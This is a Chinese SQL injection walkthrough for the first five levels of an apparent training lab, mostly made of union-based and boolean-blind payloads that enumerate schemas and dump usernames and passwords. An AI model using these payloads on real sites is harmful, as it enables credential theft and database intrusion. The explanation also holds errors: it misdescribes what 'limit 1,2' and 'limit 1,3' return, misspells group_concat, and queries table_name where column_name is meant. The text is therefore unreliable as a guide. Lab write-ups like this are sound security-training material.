大多情况下:SQL注入其实就是构造正确的mysql命令,让网页回显本不应该让我们看到的数据(如用户的账号和密码)。
第一关-联合查询注入 |
-
查库
// 查看当前页面在的数据库
?id=-1' union select 1,2,database();--+
//一个一个的查
?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+
//查看所有数据库
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
-
查表
//一个一个的查
?id=-1' union select 1,2, table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1; --+
//查所有表
?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479; --+
-
查字段
//一个一个的查
?id=-1' union select 1,2, column_name from information_schema.columns where table_name=0x7573657273 limit 1,1;--+
//查所有字段
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+
-
查值
//一个一个的查
?id=-1' union select 1,username,password from security.users limit 1,1;--+
//查所有值
?id=-1' union select 1,2, group_concat( concat_ws(0x7e,username,password) ) from security.users ;--+
√ 解析 |
-
原理
当我们传入参数id=1时,其实在后台执行的代码是
SELECT * FROM users WHERE id='1' LIMIT 0,1;
以查库为例,在mysql中我们要想知道当前我们所处的数据库名称会用database()
函数,数据库会返回当前所在库名
那么我们怎么让网页返回的值是我们想要其他的的值呢?
显然我们要在输入1的位置做文章
?id=1'--+ (其中的单引号‘ ' ’用来闭合id,--+注释符把后面的命令注释掉)
这样可以执行成功,此时后台执行的代码是
SELECT * FROM users WHERE id='1';--+' LIMIT 0,1;
--+后面的语句被注释已失效,显然SELECT * FROM users WHERE id='1';是一条完整且正确的命令 -
开始构造
我们采用联合查询语句继续构造
输入
?id=-1' union select 1,2,database();--+
显然数据的id是从1开始编写的,id=-1肯定不存在,默认返回‘执行后面的命令获得的数据’
此时后台执行
SELECT * FROM users WHERE id='-1' union select 1,2,database();--+' LIMIT 0,1;
显然SELECT * FROM users WHERE id='-1' union select 1,2,database();是一条完整且正确的命令
但是当我们注入某个网站时,用户的账号密码不一定就在‘网页当前所在数据库’里啊。其他的数据库名字我又不知道在怎么办?
查!
同样的我们构造
?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+ //一个一个的查
这是一条通用命令,即查询数据库中所有库的名字
limit 1,1
表示从第一条数据开始数,下一条数据
当然也可以
limit 1,2 第三条数据
limit 1,3 第四条数据
...
从而遍历出所有数据 -
什么?太麻烦了
我们可以用grup_concat()
一次查出所有数据,显然limit 1,1就没用了--> 扔掉!
用法:把查的内容用函数包裹即可
?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
接着,同样的道理
查表
查字段
(略)...
第二关-联合查询注入 |
id= 1
第三关-联合查询注入 |
id= (' 1 ')
第四关-联合查询注入 |
id的闭合方式变为
id= (" 1 ")
第五关-BOOL型注入 |
-
方法一
?id = 1 ' and left( ( database() ), 1 ) = 'a' ;--+
把 database()
部分换做
查库
select schema_name from information_schema.schemata limit 1,1
查表
select table_name from information_schema.tables limit 1,1
查字段
select table_name from information_schema.columns limit 1,1
查数据
select password from security.users limit 1,1
-
方法二